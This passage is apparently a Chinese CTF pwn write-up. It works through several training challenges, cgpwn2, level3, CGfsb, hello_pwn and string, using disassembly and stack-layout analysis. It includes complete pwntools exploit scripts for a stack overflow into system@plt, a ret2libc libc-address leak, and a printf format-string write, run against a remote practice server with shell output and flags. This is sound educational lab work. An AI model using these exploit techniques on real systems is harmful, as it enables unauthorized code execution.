5..text:08048603 retn ;此处retn 会将我们溢出的返回值放到rip

此时栈顶为main调用call hello之前的栈顶,和hello函数一点关系都没有了

s有38个字节,接下来四个字节是调用者函数ebp帧指针的保存值,接下来四个字节就是返回值,接下来还有四个字节,没用

注意最后这四个没用的字节\([ebp+5,ebp+8]\),也要溢出给他填了,然后再填/bin/sh的地址,

如果溢出修改r之后不填四字节的空,紧接着写/bin/sh的地址,接下来函数尾声会干啥呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
;main调用hello
.text:0804864C call hello ;call指令会将返回值0x08048651压栈,占用4字节空间
.text:08048651 mov dword ptr [esp], offset aThankYou ; "thank you"
;开端
.text:08048562 push ebp ;ebp压栈,占用4字节
.text:08048563 mov ebp, esp ;ebp获得当前esp快照,指向当前函数的栈底
.text:08048565 push esi ;esi压栈,被调用者保存寄存器
.text:08048566 push ebx ;ebx压栈,被调用者保存寄存器
.text:08048567 sub esp, 30h ;为局部变量开30h字节的栈空间

.....


;尾声
.text:080485FD add esp, 30h ;开端时也是sub esp,30h 这是局部变量的空间,溢出成任意字符填空
.text:08048600 pop ebx ;被调用者保存寄存器,ebx
.text:08048601 pop esi ;栈顶指针
.text:08048602 pop ebp ;然后是调用者函数ebp的保存值,我们给他溢出成任意字符填空
.text:08048603 retn ;此处retn 会将我们溢出的返回值放到rip,然后退掉这个返回值占用的栈空间,

那么hello函数退栈刚好将/bin/sh的地址退掉,相当于写了填空了,白写,此时栈顶是main函数调用hello函数之前的栈顶

综上栈缓冲区溢出就应该前38+4个字节乱写凑数,

然后返回值写0x0804855A

返回值这里应该写啥也要注意

首先pwn函数里面调用system有一个

1
.text:0804855A                 call    _system

然后双击该位置有一个

1
2
3
.plt:08048420                 jmp     ds:off_804A01C
.plt:08048420 _system endp
.plt:08048420

然后再双击off_804A01C又有

1
.got.plt:0804A01C off_804A01C     dd offset system        ; DATA XREF: _system↑r

那么溢出的返回值到底是写0x0804855A,还是写0x08048420,还是写0x0804A01C?

实验证明,只有写0x08048420才可以getshell,为什么其他两个不行呢?

对于0x0804855A返回该地址后,紧接着执行的是call _system,这条指令不光会将程序计数器RIP改成system的地址,还会将返回值压栈,这个压栈就坏了大事,我们费劲千辛万苦把栈顶调成name的地址,现在被返回值又给盖住了,那么调用system函数之后栈顶自然不是/bin/sh的地址,因此不能getshell

0x08048420这里只有一个jmp无条件跳转,不会改变栈顶

对于0x0804A01C,相当于省去了前面jmp 的内容,但是却不能成功,目前原因不知道,可能和GOT和PLT有关,但也只是瞎猜的,以后学了这两个东西再说

然后一个双字写一个字符串"/bin/sh"的地址,但是使用String视图并没有找到这么一个字符串,

因此需要我们自己写一个,写到什么地方呢?

刚才还有一个输入姓名,既然可以输入,说明它不在rodata节,实际上在bss节

1
.bss:0804A080 name            db 34h dup(?)           ; DATA XREF: hello+77↑o

也就是说,在刚才输入姓名的时候,可以直接明目张胆地把/bin/sh写入name

然后在溢出时返回值后面写0x0804A080即bss上name的首地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

#sh=process('./cgpwn')

sh=remote('111.200.241.244','60172');

sh.recvuntil('please tell me your name')

sh.sendline('/bin/sh')

sh.recvuntil('hello,you can leave some message here:')

payload='A'*42+p32(0x8048420).decode('unicode_escape')+'AAAA'+p32(0x804A080).decode('unicode_escape')

sh.sendline(payload)

sh.interactive()

结果:

1
2
3
4
5
6
7
8
9
10
$ ls
bin
cgpwn2
dev
flag
lib
lib32
lib64
$ cat flag
cyberpeace{53ac82665087a94d761a1eb18a0c2991}

006level3(ret2libc,printf格式化字符串漏洞)

给了两个文件,一个level3,一个libc_32.so.6,后面这个是libc的动态库文件

收集信息

对level3checksec

1
2
3
4
5
6
7
8
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3]
└─# checksec level3
[*] '/mnt/c/Users/86135/Desktop/pwn/level3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

运行一下

1
2
3
4
5
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3]
└─# ./level3
Input:
/bin/sh
Hello, World!

打印"Input:",获取输入,打印"Hello,World"

反汇编分析

ida打开level3直接看伪代码

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();//关键函数
write(1, "Hello, World!\n", 0xEu);//不存在溢出漏洞
return 0;
}
1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

write(1, "Input:\n", 7u);
return read(0, buf, 0x100u); //0x100=256字节>136存在缓冲区溢出漏洞
}

此处存在缓冲区溢出漏洞,观察vulnernable_function的栈帧,溢出可以修改函数返回地址,甚至继续溢出可以把main的栈帧都毁掉

1
2
3
4
5
-00000088 buf             db 136 dup(?)
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables

但是观察Strings视图,并没有/bin/sh这种字符串

image-20220529150450668

functions视图也没有System函数

那么怎么才能获取shell呢?

libc库中有system和/bin/sh字符串

glibc-2.9/system.c#define SHELL_PATH "/bin/sh" /* Path of the shell. */

glibc-2.9/system.c中有static int do_system (const char *line)的实现

为啥libc中要有/bin/sh字符串呢?

因为system()函数就是调用的shell程序,libc当然要知道该程序在哪里,最常用的shell就是/bin/sh

在本题中可以使用各种方法获得/bin/sh字符串和system函数在libc_32.so.6中的位置

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3]└─# strings -at x libc_32.so.6|grep /bin/sh   
15902b /bin/sh

┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3]
└─# ROPgadget --binary libc_32.so.6 --string "/bin/sh"
Strings information
============================================================
0x0015902b : /bin/sh

┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3]
└─# readelf -s libc_32.so.6|grep system
1457: 0003a940 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0

现在获取到的地址是库函数在libc库中的位置,并不是库函数实际运行时的地址.然而给一个库文件也不是一无是处,

位置无关代码的特性是,库的在进程虚拟地址空间中的位置可以变,但是库中成员之间的相对地址不会变

这就好比现在每个库函数是058班上的一个同学,每个同学都有一个班内编号,从1到40.

在058班中不管怎么问4号同学是谁,总会获得回答sjf.

然后整个班一起考试的时候,考数据结构时被安排到A220考场,考C++的时候被安排到B304考场...

但是整个班总是安排在同一间教室

在考数据结构的时候去A220问4号学生是谁,必是sjf

但是当考C++的时候还去A220问4号学生是谁,必然不是sjf

我现在知道sjf是他们班四号,并且抓住了一个他们班的学生,怎么知道sjf具体在哪一个考场,哪一个座位呢?

跟着这个学生前往他的考场,假设这个学生是5号则前面一个学生就是4号的sjf.

在本题中,我们要找的函数就是system,顺带还要找一个字符串/bin/sh,在库中的地址已经知道了,并且我们已经逮住了一个库中的函数

1
write(1, "Input:\n", 7u);

他在libc库中的位置:

1
2323: 000d43c0   101 FUNC    WEAK   DEFAULT   13 write@@GLIBC_2.0

那么其他libc中的函数或者变量相对于write的位置

符号 write system /bin/sh
libc中的位置 0xd43c0 0x3a940 15902b
相对于write的位置 0 -0x99a80 -0x11e6eb

使用栈缓冲区溢出写好参数然后返回到write被调用前,让write打印出它自己的地址

怎么返回到write前呢?

1.由于程序没有开启PIE保护,因此本程序内(不包括libc动态库)的各个函数地址是常数

注意共享库libc可以加载到本程序的"任何地方"

这里任何地方指的是

image-20220603144111550

用户栈和堆之间

共享库并不能挤再读写段和只读代码段之间

相当于再用户栈和运行时堆之间有一块很大的空间,共享库只能在这片空间中挑一个利索的地方加载

这就好比在一艘航母上只能在甲板上放置舰载机,不能将舰载机放在舰桥上

由于这片巨大的空间在程序运行开始时就已经决定了,并且每次运行都是一样大的,当没有开启PIE保护时,总是从虚拟地址空间的0x400000开始加载,因此本程序内各函数,各数据的地址都是定值.

至于调用libc库中的函数,则使用got+plt表,对于本模块内的函数只需要将控制交给plt表,plt表相当于一个本程序与动态库的接口.

plt和got表就像人的嘴一样,可以随便吃东西但是归根接底长到人的脸上

2.使用PLT表返回到write的地址

1
b'0'*0x8c+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])+p32(4)

plt是text节开始时的一个跳转表,text节的位置不变,plt表的位置也不会变

前面0x8c都写0,是为了溢出bufs

1
2
-00000088 buf             db 136 dup(?)
+00000000 s db 4 dup(?)

然后四个字节就是返回地址p32(elf.plt['write'])

这个elf.plt['write']是啥呢?

1
2
elf=ELF('./level3')
print(hex(elf.plt['write']))

运行结果:

1
2
3
4
5
6
7
8
9
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3]
└─# python3 exp.py
[*] '/mnt/c/Users/86135/Desktop/pwn/level3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
0x8048340

用ida打开后跳转到该地址0x8048340

1
2
3
4
5
6
7
8
9
10
11
12
.plt:08048340
.plt:08048340 ; ssize_t write(int fd, const void *buf, size_t n)
.plt:08048340 _write proc near ; CODE XREF: vulnerable_function+15↓p
.plt:08048340 ; main+22↓p
.plt:08048340
.plt:08048340 fd = dword ptr 4
.plt:08048340 buf = dword ptr 8
.plt:08048340 n = dword ptr 0Ch
.plt:08048340
.plt:08048340 jmp ds:off_804A018
.plt:08048340 _write endp
.plt:08048340

0x8048340正好就是write在plt表中的起始位置

1
b'0'*0x8c+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])+p32(4)

同理elf.got['write']这个东西是write在got表中的首地址,打印一下结果为0x804a018

1
.got.plt:0804A018 off_804A018     dd offset write         ; DATA XREF: _write↑r

因此这里这条exp语句可以这样写:

1
b'0'*0x8c+p32(0x8048340)+b'0000'+p32(1)+p32(0x804a018)+p32(4)

这是只用ida,不借助python的pwn包可以做到的

为什么要将返回地址溢出改成write在plt中的位置?直接溢出成write的位置行吗?

write也是动态库函数,这里只是调用它,动态库中的函数都是查plt表调用的

如果这直接溢出成write的地址,那我们得事先直到它加载后在进程虚拟地址空间中的地址,

而我们现在就是想要再调用它打印自己的地址

如果事先知道,现在求个寂寞啊

然后0000是为了填充返回地址到main栈帧之间四个无用字节

1
2
+00000004  r              db 4 dup(?)		//返回地址
+00000008 //无用字节

为啥要溢出这四个字节?直接写write的参数不行吗?

这四个字节属于vulernable_func的栈帧,在跳转write之前是会被清理掉的

然后p32(1)+p32(elf.got['write'])+p32(4)三个四字节在栈顶作为write的三个参数

1
2
write(fd,str,size);		//(文件描述符,字符串,大小)
write(标准输出1,got表中存放的write的地址,4个字节,正好32位表示一个地址);

此步执行之后程序将write在got表中的地址打印出来

这就相当于我们已经跟踪这个学生到达了058班的考场,下一步就是根据该学生的学号和sjf的学号差,寻找sjf的位置

考虑此步执行之后程序的行为

1
b'0'*0x8c+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])+p32(4)

这里涉及到一个call function和jmp function的区别

使用call指令调用一个函数时,首先将PC即返回地址压栈,然后jmp function

即两者的区别在于控制转移到function之前有没有将PC放在栈顶

我们现在将p32(elf.plt['write'])放在vulnerable的返回地址位置,

返回实际上就相当于一个jmp,

即我们执行了一个jmp write,没有使用call

理论上调用函数都要使用call,在跳转前将PC放在栈顶

现在我们没有将PC放在栈顶直接跳转到write,但是write函数它不知道啊,他认为我们溢出放置的0000就是返回地址,根据_cdecl约定,write将会自己清理自己的堆栈,那么在write返回的时候就会将0000放在rip中,程序接下来从0000开始执行,谁知道这是什么鬼地方,能不能执行也不好说

但是既然我们已经分析出0000将会被执行,那我们把他换成main函数的地址,不也可以执行吗?

1
b'0'*0x8c+p32(elf.plt['write'])+p32(main_addr)+p32(1)+p32(elf.got['write'])+p32(4)

下面我们就将会用到这种性质

前面我们已经通过栈缓冲区溢出获得了write的地址,下面我们还需要再溢出一次来跳转到system函数,这就用到了刚才我们分析的性质

我们在刚才执行了write之后将控制转移到main的开始地址,则程序又从头执行一遍,这次我们又有一个干净利索的vulnerable_func

本次缓冲区溢出时,首先还是填充0x8c个字符,然后将system函数的地址放到返回地址位置,然后4个无用字节用0000填充,然后写"/bin/sh"的地址

1
b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr-0x11e6eb)

system执行完毕之后返回地址为刚才用0填充的4个无用字节,但是我们已经不需要system返回了,system('/bin/sh')之后我们就已经有shell了

符号 write system /bin/sh
libc中的位置 0xd43c0 0x3a940 0x15902b
相对于write的位置 0 -0x99a80 -0x11e6eb

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

libc=ELF('./libc_32.so.6')

elf=ELF('./level3')

sh=remote('111.200.241.244','53737')

payload = b'0'*0x8c+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['write'])+p32(4)

sh.sendline(payload)

sh.sendlineafter("Input:\n",payload)

write_addr=u32(sh.recv()[:4])

print(hex(write_addr))

system_offset=libc.symbols['system']#system函数相对于libc基地址的偏移量

shell_offset=0x15902b#/bin/sh相对于libc基地址的偏移量

write_offset=libc.symbols['write']#write相对于libc基地址的偏移量

libc_start=write_addr-write_offset#libc库的运行时基地址

system_addr=libc_start+system_offset#system运行时地址

shell_addr=libc_start+shell_offset#/bin/sh的运行时地址

payload = b'0'*0x8c+p32(system_addr)+b'0000'+p32(shell_addr)

sh.sendline(payload)

sh.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
[*] Switching to interactive mode
\xc0o\xf7Input:
$ ls
bin
dev
flag
level3
lib
lib32
lib64
$ cat flag
cyberpeace{93ceadf23838a0fd793719d215b9876e}

007get_shell(白给)

1
2
3
4
5
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/get_shell]
└─# ./get_shell
OK,this time we will get a shell.
# ls
get_shell Ponce.cfg

运行即可得到shell

为啥还是7分的题?

008CGfsb(printf格式化字符串漏洞)

printf格式化字符串漏洞,总之就是特别绕

1
2
3
4
5
6
7
PS C:\Users\86135\Desktop\pwn\CGfsb> checksec cgfsb
[*] 'C:\\Users\\86135\\Desktop\\pwn\\CGfsb\\cgfsb'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found ;金丝雀保护,栈溢出困难
NX: NX enabled
PIE: No PIE (0x8048000)

信息收集:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/CGfsb]
└─$ ./cgfsb
please tell me your name:
123
leave your message please:
456
hello 123
your message is:
456
Thank you!

反汇编分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
;开端
.text:080485CD push ebp
.text:080485CE mov ebp, esp
.text:080485D0 push edi
.text:080485D1 push esi
.text:080485D2 push ebx
.text:080485D3 and esp, 0FFFFFFF0h ; esp寄存器低4位归零
.text:080485D6 sub esp, 90h
.text:080485DC mov eax, large gs:14h
.text:080485E2 mov [esp+9Ch+anonymous_1], eax

; 设置标准输入,标准输出,标准错误的缓冲区大小为0
.text:080485E9 xor eax, eax
.text:080485EB mov eax, ds:stdin@@GLIBC_2_0
.text:080485F0 mov [esp+9Ch+var_98], 0 ; buf
.text:080485F8 mov [esp+9Ch+stream], eax ; stream
.text:080485FB call _setbuf
.text:08048600 mov eax, ds:stdout@@GLIBC_2_0
.text:08048605 mov [esp+9Ch+var_98], 0 ; buf
.text:0804860D mov [esp+9Ch+stream], eax ; stream
.text:08048610 call _setbuf
.text:08048615 mov eax, ds:stderr@@GLIBC_2_0
.text:0804861A mov [esp+9Ch+var_98], 0 ; buf
.text:08048622 mov [esp+9Ch+stream], eax ; stream
.text:08048625 call _setbuf

;各变量,缓冲区初始化
.text:0804862A mov [esp+9Ch+buf], 0
.text:08048632 mov [esp+9Ch+var_7A], 0
.text:0804863A mov [esp+9Ch+anonymous_0], 0
.text:08048641 lea ebx, [esp+9Ch+s]
.text:08048645 mov eax, 0 ; eax将会被拷贝到串中的各个字符
.text:0804864A mov edx, 19h ; 重复次数19h=25次,每次
.text:0804864F mov edi, ebx
.text:08048651 mov ecx, edx
.text:08048653 rep stosd ; s串置零

;打印第一句废话
.text:08048655 mov [esp+9Ch+stream], offset s ; "please tell me your name:"
.text:0804865C call _puts

;获取第一句输入
.text:08048661 mov [esp+9Ch+nbytes], 0Ah ; nbytes
.text:08048669 lea eax, [esp+9Ch+buf]
.text:0804866D mov [esp+9Ch+var_98], eax ; buf
.text:08048671 mov [esp+9Ch+stream], 0 ; fd
.text:08048678 call _read ;从标准输入至多获得A=10字节的输入作为名字

;打印第二句废话
.text:0804867D mov [esp+9Ch+stream], offset aLeaveYourMessa ; "leave your message please:"
.text:08048684 call _puts

;获取第二句输入
.text:08048689 mov eax, ds:stdin@@GLIBC_2_0
.text:0804868E mov [esp+9Ch+nbytes], eax ; stream ;标准输入魔数0->eax->nbytes,实际上参数名字与其用处不相符了
.text:08048692 mov [esp+9Ch+var_98], 64h ; n ; 从标注输入至多获取64h=100字节的输入放到s,恰好和s的大小相同
.text:0804869A lea eax, [esp+9Ch+s]
.text:0804869E mov [esp+9Ch+stream], eax ; s
.text:080486A1 call _fgets ;从标注输入获取至多64h=100字节的输入作为信息message,放在s串

;打印刚才获取到的信息和新的废话
.text:080486A6 lea eax, [esp+9Ch+buf]
.text:080486AA mov [esp+9Ch+var_98], eax
.text:080486AE mov [esp+9Ch+stream], offset format ; "hello %s"
.text:080486B5 call _printf
.text:080486BA mov [esp+9Ch+stream], offset aYourMessageIs ; "your message is:"
.text:080486C1 call _puts

;关键
.text:080486C6 lea eax, [esp+9Ch+s]
.text:080486CA mov [esp+9Ch+stream], eax ; format
.text:080486CD call _printf ;蜜汁操作,printf只有一个参数

;关键
.text:080486D2 mov eax, ds:pwnme
.text:080486D7 cmp eax, 8 ; 当ds:pwnme被修改为8时获得flag
.text:080486DA jnz short loc_80486F6
.text:080486DC mov [esp+9Ch+stream], offset aYouPwnedMeHere ; "you pwned me, here is your flag:\n"
.text:080486E3 call _puts
.text:080486E8 mov [esp+9Ch+stream], offset command ; "cat flag"
.text:080486EF call _system
.text:080486F4 jmp short loc_8048702

双击ds:pwnme观察其上下文

1
2
3
4
5
6
7
8
9
10
11
...
.bss:0804A064 completed_6591 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804A064 ; __do_global_dtors_aux+14↑w
.bss:0804A065 align 4

.bss:0804A068 public pwnme
.bss:0804A068 pwnme dd ? ; DATA XREF: main+105↑r
.bss:0804A068 _bss ends ;这里可以获取到的有效信息是pwnme的地址0x0804A068
.bss:0804A068
.prgend:0804A06C ; ===========================================================================
....

格式化字符串漏洞套路printf

以下逐步尝试使用格式化字符串漏洞修改栈上的变量值,看看printf是如何沦陷的

首先栈上有一个int a,有一个char s[120],要想通过格式化字符串漏洞修改一个变量的值,需要知道他在栈上什么位置

谁更靠近栈顶光是通过看源代码是看不出来的,有可能有各种编译优化,通过下面程序观察

mytest.c

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
int main() {
int a=20;
char s[120]="%p-%p-%p-%p";
printf("%p\n%p\n",&a,&s);//观察a和s在栈中的位置
printf(s);
return 0;
}

这里后面的printf(s)没有管s中如何格式化的,没有管s中指定了多少个参数,

如果s中指定了n个%p格式的参数,则printf会从栈顶开始向栈底方向依次取出n个32位数(恰好是一个双字),每一个对应一个%p

1
2
┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pwn/CGfsb]
└─# gcc mytest.c -Og -m32 -o mytest #-m32编译成32位程序,栈上32位对齐

运行结果

1
2
3
4
5
┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pwn/CGfsb]
└─# ./mytest
0xffaf269c
0xffaf2624
0xffaf269c-0xffaf2624-0xf63d4e2e-0x5655b2b2

说明int a在栈顶,然后紧接着是char s[120]的首地址

那么printf(s)会错误地把a作为第一个参数,栈上存储的是a的地址,使用%1$n即可将格式化字符串s之前的字符数输入栈上第一个参数(期望是一个地址)

啥意思呢?%x$n即将其之前的字符数输出到格式化字符串指定的第x个地址(即使栈上存放的不是地址也要作为地址,但此时很有可能引发段错误)

这句话非常绕口,还是以先前的程序为例子

在这个例子中,通过先前的打印已经知道printf(s)时栈顶是a的地址,如果s串中没有%p,%x等等这样的占位符,即如果s为纯字符串则printf只会打印该字符串,然后什么都不会发生

如果s中有一个%p即指定了一个格式化参数,但是在调用printf(s)时并没有写成printf(s,a)这样指定这个参数,那么printf会自动将当前栈顶作为参数进行打印,于是就发生了信息泄漏

使用%p这种格式的作用是,正好取栈上一个对齐单元32位4字节,

如果用%s则将参数作为字符串,一直打印直到'\0'

同理如果s中有两个%p即指定了两个格式化参数,则先后从栈顶向栈底方向取两个双字,以16进制形式打印

%x$n的作用是,将%号之前格式化字符串中的字符数,输出到第n个格式化参数指向的内存地址,即将从栈顶向栈底数的第n个双字,作为一个32位地址,然后输出到该地址,

实际上这个双字也可能不是一个地址,这时大概率引发段错误

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>

int main() {
int a=20;
char s[120]="%p-%p-%p-%p";
printf("%p\n%p\n",&a,&s);
printf("%1$n"); //%1$n之前没有字符,因此0会被输出到栈上第一个
printf(s);
printf("\n%d",a);
return 0;
}

同样的编译命令,运行结果为:

1
2
3
4
5
6
┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pwn/CGfsb]
└─# ./mytest
0xffee562c
0xffee55b4
0xffee562c-0xffee55b4-0xf63d4e2e-0x565632b2
0

a的地址,0xffee562c被printf默认当作第一个格式化参数,然后将%1$n之前的0个字符输出到该地址,因此a原来的值20就被改变了

回到本题

从刚才的实验中我们可以知道

如果想要通过printf格式化字符串漏洞改变一个变量的值,需要先了解

1.变量的地址

2.如果将变量的地址写成一个32位数然后压栈,在打印的时候是第几个双字,这用于确定%x$n中的x

3.%x$n之前的字符数决定了把第x个格式化参数指向的变量修改成多少

本题中

可以通过ida得出pwnme的地址0x0804A068

下面尝试观察格式化字符串的第一个双字是printf的第几个格式化双字参数

这句话说地又跟放屁似的,啥意思呢?

比如构造一个格式化字符串s="AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"

作用是判断第一个双字(这里用0x41414141AAAA占位),是栈上第几个双字,以此决定%x$n中的x

这里s也会被四个字符一组作为一个双字压栈,那么前四个字符AAAA必然作为一个双字压栈,

1
2
3
your message is:
AAAA-0xffebcaee-0xf7f6c580-0xffebcb4c-0xf7fb4b30-0x1-0xf7f7a420-0x32310001-0xa33-(nil)-0x41414141-0x2d70252d-0x252d7025
Thank you!

整体要按照s给出的格式打印,s自己也会作为一个普通的字符串存储在栈上

这里第10个格式化参数对应的0x41414141即为s中前四个字符存储在栈上的一个双字,显然这不是一个地址

第一个格式化参数对应的是0xffebcaee这是一个地址,

再往前的四个A不是格式化参数,是s中的常量

后面第11个格式化参数对应0x2d70252d对应ascii码-p%-

可想而知,s无论我们继续写多长,第10个参数总是0x41414141,因为s作为普通的字符串放在栈上距离栈顶较远的地方

现在将s的头四个A换成p32(0x0804A068),即将pwnme的地址写成一个双字作为s的头四个字符(非可打印字符)

那么可想而知此时第10个格式化参数就得对应0x0804A068

就差最后一步了,向该地址上写个8

我们已经在最开始写了一个p32(0x0804A068)相当于4个字符,还需要写入4个字符,随便整四个就可以比如'1234',然后就是%10$n

如此可以写出exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

# sh=process('./cgfsb')

sh=remote('111.200.241.244','61044')

pwnme=0x0804A068;

payload=p32(pwnme)+('1234%10$n').encode()

sh.recvuntil("please tell me your name:\n")

sh.sendline('123')

sh.recvuntil("leave your message please:\n")

sh.sendline(payload)

sh.interactive()

# sh.interactive()
1
2
3
4
5
6
hello 123
your message is:
h\xa0\x041234
you pwned me, here is your flag:

cyberpeace{99ded663a753efee263e10ce468b73c3}

009hello_pwn(栈缓冲区溢出修改栈中整数)

ida64打开之后F5观察伪代码

1
2
3
read(0, &unk_601068, 0x10uLL);		
if ( dword_60106C == 1853186401 ) //诚如是,则执行sub_400686(),dword_60106C就是需要通过溢出修改的变量
sub_400686();
1
2
3
4
5
__int64 sub_400686()
{
system("cat flag.txt");//调用shell,打印flag.txt的内容到屏幕
return 0LL;
}

read系统调用函数

1
int read(int fd,char *buf,unsigned nbytes);

参数含义:

1.int fd:file descriptor 文件描述符

fd=0为STDIN_FLIENO标准输入的魔数

fd=1为STDOUT_FILENO标准输出的魔数

fd=2为STDERR_FILENO标准错误的魔数

2.char *buf:缓冲区

3.unsigned nbytes:指定输入的字节数,实际上获取到的输入只能小于等于该值

如果从一个小文件里获取大于文件字符数的输入则达不到nbytes

返回值:

实际获取到的输入字符数

read(0, &unk_601068, 0x10uLL);

从标准输入获取至多16字节的输入到缓冲区unk_601068

双击unk_601068观察缓冲区在内存的分布

1
2
3
4
5
.bss:0000000000601068 unk_601068      db    ? ;               ; DATA XREF: main+3B↑o
.bss:0000000000601069 db ? ;
.bss:000000000060106A db ? ;
.bss:000000000060106B db ? ;
.bss:000000000060106C dword_60106C dd ? ; DATA XREF: main+4A↑r

发现缓冲区unk_601068dword_60106C这个需要被溢出修改的变量是在bss段紧挨着存放的,两者都是未初始化的全局变量

那么输入前四个字符就已经写满了缓冲区,dword_60106C是一个双字四字节,可以容纳四个ascii字符,考虑后面四个字符输入什么才能使其值被修改为1853186401

写成16进制0x6e756161两两一组一个字节,分组的话恰好分成四组,对应四个ascii码

0x6e=n

0x75=u

0x61=a

0x61=a

输入的字符串在前面的放在低位,即如果str="nuaa"str[0]='n',str[1]='u',str[2]='a'而根据小端方法,下标小的字符会放在低地址,即

'n'->0x60106C

'u'->0x60106D

'a'->0x60106E

'a'->0x60106F

然后从0x60106C开始连续取四个字节作为一个int,得到的是0x(高位)61 61 75 6e(低位)刚好和我们想要的结果0x6e756161是反着的,因此应该输入aaun而不是nuaa

010string(printf格式化字符串漏洞,ret2shellcode)

1
2
3
4
5
6
7
8
┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pwn/string]
└─# checksec string
[*] '/mnt/c/Users/86135/desktop/pwn/string/string'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位linux程序,用ida64打开之后直接看F5伪代码

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall main(int a1, char **a2, char **a3)
{
_DWORD *v4; // [rsp+18h] [rbp-78h]//双字指针类型,int*

setbuf(stdout, 0LL);
alarm(0x3Cu);
sub_400996();
v4 = malloc(8uLL);
*v4 = 68;
v4[1] = 85;
puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts("we will tell you two secret ...");
printf("secret[0] is %x\n", v4); //&v4的16进制表示
printf("secret[1] is %x\n", v4 + 1); //&v4+1的16进制表示,由于开启栈地址随机化,因此该值每次运行不定
puts("do not tell anyone ");
sub_400D72((__int64)v4); //游戏剧情
puts("The End.....Really?");
return 0LL;
}

sub_400D72

v4作为参数从main传递到sub_400D72

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("What should your character's name be:");
_isoc99_scanf("%s", s);
if ( strlen(s) <= 0xC ) //要求输入的角色名称要小于等于12个字符
{
puts("Creating a new player.");
sub_400A7D(); //故事的开端发展高潮
sub_400BB9();
sub_400CA6((_DWORD *)a1);
}
else
{
puts("Hei! What's up!");
}
return __readfsqword(0x28u) ^ v3;
}

sub_400A7D

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 sub_400A7D()
{
char s1[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts(" This is a famous but quite unusual inn. The air is fresh and the");
...
puts("So, where you will go?east or up?:");
while ( 1 )
{
_isoc99_scanf("%s", s1);
if ( !strcmp(s1, "east") || !strcmp(s1, "east") )//蜜汁操作,两个判断都是strcmp(s1,"east"),当s1为east时跳出循环
break;
//当s1!=east一直循环请求输入
puts("hei! I'm secious!");
puts("So, where you will go?:");
}
if ( strcmp(s1, "east") ) //蜜汁操作,出了刚才的循环则s1=east,这里的if条件判断一定不会成立,为什么还要设计这么一条路呢?
{
if ( !strcmp(s1, "up") )
sub_4009DD(); //屑函数,死路
puts("YOU KNOW WHAT YOU DO?");
exit(0);
}
return __readfsqword(0x28u) ^ v2;
}

sub_400BB9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 sub_400BB9()
{
int v1; // [rsp+4h] [rbp-7Ch] BYREF
__int64 v2; // [rsp+8h] [rbp-78h] BYREF
char format[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v4; // [rsp+78h] [rbp-8h]

v4 = __readfsqword(0x28u);//从fs段偏移0x28=40字节读取一个四字
v2 = 0LL;
puts("You travel a short distance east.That's odd, anyone disappear suddenly");
puts(", what happend?! You just travel , and find another hole");
